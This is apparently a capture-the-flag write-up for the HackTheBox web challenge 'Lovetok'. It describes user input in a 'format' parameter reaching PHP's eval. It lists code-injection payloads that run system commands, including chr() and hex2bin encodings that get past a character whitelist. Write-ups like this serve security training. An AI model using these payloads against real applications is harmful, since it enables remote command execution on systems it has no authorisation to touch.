> For the complete documentation index, see [llms.txt](https://anekant-singhais-organization.gitbook.io/why-so-script-kiddie/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://anekant-singhais-organization.gitbook.io/why-so-script-kiddie/ctfs/htb-challenges/web/lovetok.md).

# Lovetok

The website:

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FmkjLP7OoohRhQahWzaKc%2Fimage.png?alt=media&amp;token=75485ac4-f995-48f3-b5d4-7cd50b9a3597" alt=""><figcaption></figcaption></figure>

We can see that the back-end gives time when we give a certian value to the format parameter:

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FtjseoyngazuIJmfMMj2S%2Fimage.png?alt=media&amp;token=660f3cae-bd45-4393-bfd5-5827ee2c52dd" alt=""><figcaption></figcaption></figure>

We also have the code:

we can see that the input we give 'r' is directly going into the eval function:

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FprmZKw8tHscnf7xpNnp0%2Fimage.png?alt=media&amp;token=170a6321-d882-4839-8041-fed693f9f936" alt=""><figcaption></figcaption></figure>

So we need to inject code here somehow -> but how?&#x20;

we can try different code payloads like:

1. `${system($_GET[cmd])}&cmd=ls`
2. ``${print(`ls`)}``
3. to bypass the whitelist:
   1. ```
      ${system(chr(105).chr(100))}
      ```
   2. ```
      ${system(hex2bin(6964))}
      ```
4. to bypass restriction for slashes [read](https://www.programmersought.com/article/30723400042/)

and we get the flag:

<figure><img src="https://1258745909-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPRj67lRKmIcGcfIbPm4a%2Fuploads%2FLkz5crb8j4H9zwXAkFcy%2Fimage.png?alt=media&amp;token=091dc1c0-a43a-4a16-97e1-a16f20630b95" alt=""><figcaption></figcaption></figure>
